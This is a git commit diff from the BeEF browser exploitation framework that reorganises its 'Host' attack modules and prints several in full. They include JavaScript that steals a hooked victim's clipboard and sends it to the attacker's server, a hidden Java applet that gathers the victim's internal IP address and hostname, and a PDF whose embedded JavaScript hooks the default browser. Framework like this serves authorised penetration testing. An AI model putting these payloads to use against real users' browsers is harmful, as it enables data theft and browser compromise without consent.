Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

command modules re-organised and re-named

Browse Source 
git-svn-id: https://beef.googlecode.com/svn/trunk@1292 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
wade@bindshell.net
2011-09-16 12:28:14 +00:00
parent 9127bbeb88
commit e97104f696
69 changed files with 41 additions and 41 deletions
Download Patch File Download Diff File Expand all files Collapse all files

22
modules/host/clipboard_theft/command.js Normal file
View File

@@ -0,0 +1,22 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.");
}
});

34
modules/host/clipboard_theft/config.yaml Normal file
View File

@@ -0,0 +1,34 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
clipboard_theft:
enable: true
category: "Host"
name: "Get Clipboard"
description: "Retrieves the clipboard contents. This module will work automatically with Internet Explorer 6.x however Internet Explorer 7.x will prompt the user and ask for permission to access the clipboard."
authors: ["bcoles"]
target:
working:
IE:
min_ver: "6"
max_ver: "6"
user_notify:
IE:
min_ver: "7"
max_ver: "7"
not_working: ["All"]

24
modules/host/clipboard_theft/module.rb Normal file
View File

@@ -0,0 +1,24 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Clipboard_theft < BeEF::Core::Command
def post_execute
content = {}
content['clipboard'] = @datastore['clipboard']
save content
end
end

BIN
modules/host/detect_local_settings/Beeffeine.class Normal file
View File

Binary file not shown.

48
modules/host/detect_local_settings/Beeffeine.java Normal file
View File

@@ -0,0 +1,48 @@
import java.applet.*;
import java.net.*;
import java.util.*;
public class Beeffeine extends Applet {
public String MyIP()
{
String string = "unknown";
String string4 = getDocumentBase().getHost();
byte j = 80;
String string2;
String string3 = "internal_ip=";
int k = 80;
if (getDocumentBase().getPort() != -1)
k = getDocumentBase().getPort();
try {
string2 = new Socket(string4 , k).getLocalAddress().getHostAddress();
if (!string2.equals("255.255.255.255"))
string3 += string2;
}
catch (SecurityException securityexception) {
string3 += "FORBIDDEN";
}
catch (Exception exception) {
string3 += "exception";
}
string3 += "&internal_hostname=";
try {
string3 += new Socket(string4 , k).getLocalAddress().getHostName();
}
catch (Exception exception) {
string3 += "Cannot Lookup this IP";
}
return (string3);
}
public Beeffeine() {
super();
return;
}
}

52
modules/host/detect_local_settings/command.js Normal file
View File

@@ -0,0 +1,52 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
if (beef.browser.isFF()) {
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(internal_ip && internal_hostname) {
beef.net.send('<%= @command_url %>', <%= @command_id %>,
'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
}
} else {
//Trying to insert the Beeffeine applet
content = "<APPLET code='Beeffeine' codebase='http://"+beef.net.host+":"+beef.net.port+"/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
$j('body').append(content);
internal_counter = 0;
//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
function waituntilok() {
try {
output = document.beeffeine.MyIP();
beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
$j('#beeffeine').detach();
return;
} catch (e) {
internal_counter++;
if (internal_counter > 20) { //Timeout after 20 seconds
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=time out');
$j('#beeffeine').detach(); //kill the applet
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
//Lets not kick this off just yet
setTimeout(function() {waituntilok()},5000);
}
});

27
modules/host/detect_local_settings/config.yaml Normal file
View File

@@ -0,0 +1,27 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
detect_local_settings:
enable: true
category: "Host"
name: "Get Network Settings"
description: "Grab the local network settings (ie internal ip address)."
authors: ["pdp", "wade", "bm", "xntrik"]
target:
working: ["FF", "IE"]
user_notify: "C"
not_working: "S"

37
modules/host/detect_local_settings/module.rb Normal file
View File

@@ -0,0 +1,37 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Detect_local_settings < BeEF::Core::Command
def pre_send
#Mount the Beeffeine.class on /Beeffeine.class
#Unsure if there's something we can add here to check if the module was already mounted?
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/detect_local_settings/Beeffeine.class','/Beeffeine','class')
end
def post_execute
content = {}
content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil?
content['internal hostname'] = @datastore['internal_hostname'] if not @datastore['internal_hostname'].nil?
content['fail'] = 'could not grab local network settings' if content.empty?
#Unmount the class now, it's no longer required.
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/Beeffeine.class');
save content
end
end

79
modules/host/hook_default/bounce_to_ie.pdf Executable file
View File

@@ -0,0 +1,79 @@
%PDF-1.1
1 0 obj
<<
/Pages 3 0 R
/OpenAction 4 0 R
/Type /Catalog
>>
endobj
2 0 obj
<<
/Encoding /MacRomanEncoding
/Subtype /Type1
/BaseFont /Helvetica
/Type /Font
/Name /F1
>>
endobj
3 0 obj
<<
/Kids [ 5 0 R ]
/Type /Pages
/Count 1
>>
endobj
4 0 obj
<<
/S /JavaScript
/JS 6 0 R
>>
endobj
5 0 obj
<<
/MediaBox [ 0 0 795 842 ]
/Contents 7 0 R
/Parent 3 0 R
/Resources <<
/Font <<
/F1 2 0 R
>>
/ProcSet [ /PDF /Text ]
>>
/Type /Page
>>
endobj
6 0 obj
<<
/Length 1708
>>stream
app.launchURL("<hookURI>",true);
endstream
endobj
7 0 obj
<<
/Length 48
>>stream
BT
ET
endstream
endobj
xref
0 8
0000000000 65535 f
0000000010 00000 n
0000000087 00000 n
0000000209 00000 n
0000000278 00000 n
0000000332 00000 n
0000000513 00000 n
0000002278 00000 n
trailer
<<
/Size 8
/ID [ (11f570958af49b794c95ff1c6be3bac5) (11f570958af49b794c95ff1c6be3bac5) ]
/Root 1 0 R
>>
startxref
2381
%%EOF

22
modules/host/hook_default/command.js Normal file
View File

@@ -0,0 +1,22 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var pdf_url = 'http://'+beef.net.host+ ':' + beef.net.port + '/report.pdf';
window.open( pdf_url, '_blank');
beef.net.send('<%= @command_url %>', <%= @command_id %>, "Attempted to open PDF in default browser.");
});

26
modules/host/hook_default/config.yaml Normal file
View File

@@ -0,0 +1,26 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
hook_ie:
enable: true
category: "Host"
name: "Hook Default Browser"
description: "This module will use a PDF to attempt to hook the default browser (assuming it isn't currently hooked). <br><br>Normally, this will be IE but it will also work when Chrome is set to the default. When executed, the hooked browser will load a PDF and use that to start the default browser. If successful another browser will appear in the browser tree."
authors: ["saafan"]
target:
working: ["All"]
user_notify: ["FF", "C"]

58
modules/host/hook_default/module.rb Normal file
View File

@@ -0,0 +1,58 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Hook_ie < BeEF::Core::Command
def pre_send
#Get the servers configurations.
configuration = BeEF::Core::Configuration.instance
#The hook url to be replace the token in the original pdf file.
hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/report.html"
# A new pdf file containg the actual hook URI instead of the dummy token.
configured_hook_file = File.open("./modules/browser/hook_default/bounce_to_ie_configured.pdf","w")
# The original pdf file contains a token that will get replaced during the initialization with
# the actual hook URI of beef. Note that the hook URI is accessed via the DNS name.
File.open('./modules/browser/hook_default/bounce_to_ie.pdf',"r") { |original_hook_file|
original_hook_file.each_line { |line|
# If the line includes the hook token, then replace it with the actual hook URI
if(line.include? '<hookURI>')
line = line.sub(/<hookURI>/, hook_uri)
end
#write the line to a new file
configured_hook_file.write(line)
}
}
configured_hook_file.close()
#Bind the configured PDF file to the web server.
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/hook_default/bounce_to_ie_configured.pdf', '/report', 'pdf', -1);
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
#update_zombie!
end
end

2
modules/host/insecure_url_skype/config.yaml
View File

@@ -18,7 +18,7 @@ beef:
insecure_url_skype:
enable: true
category: "Host"
name: "Skype Call"
name: "Make Skype Call (Skype)"
description: "This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes<br><br>The protocol handler used will be: skype."
authors: ["xntrik", "Nitesh Dhanjani"]
target:

2
modules/host/iphone_tel/config.yaml
View File

@@ -18,7 +18,7 @@ beef:
iphone_tel:
enable: true
category: "Host"
name: "iPhone Telephone URL"
name: "Make Skype Call (Tel)"
description: "This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes in iOS.<br><br>The protocol handler used will be: tel"
authors: ["xntrik", "Nitesh Dhanjani"]
target:

2
modules/host/physical_location/config.yaml
View File

@@ -18,7 +18,7 @@ beef:
physical_location:
enable: true
category: "Host"
name: "Physical Location"
name: "Get Geolocation"
description: "This module will retrieve the physical location of the hooked browser using the geolocation API."
authors: ["antisnatchor"]
target: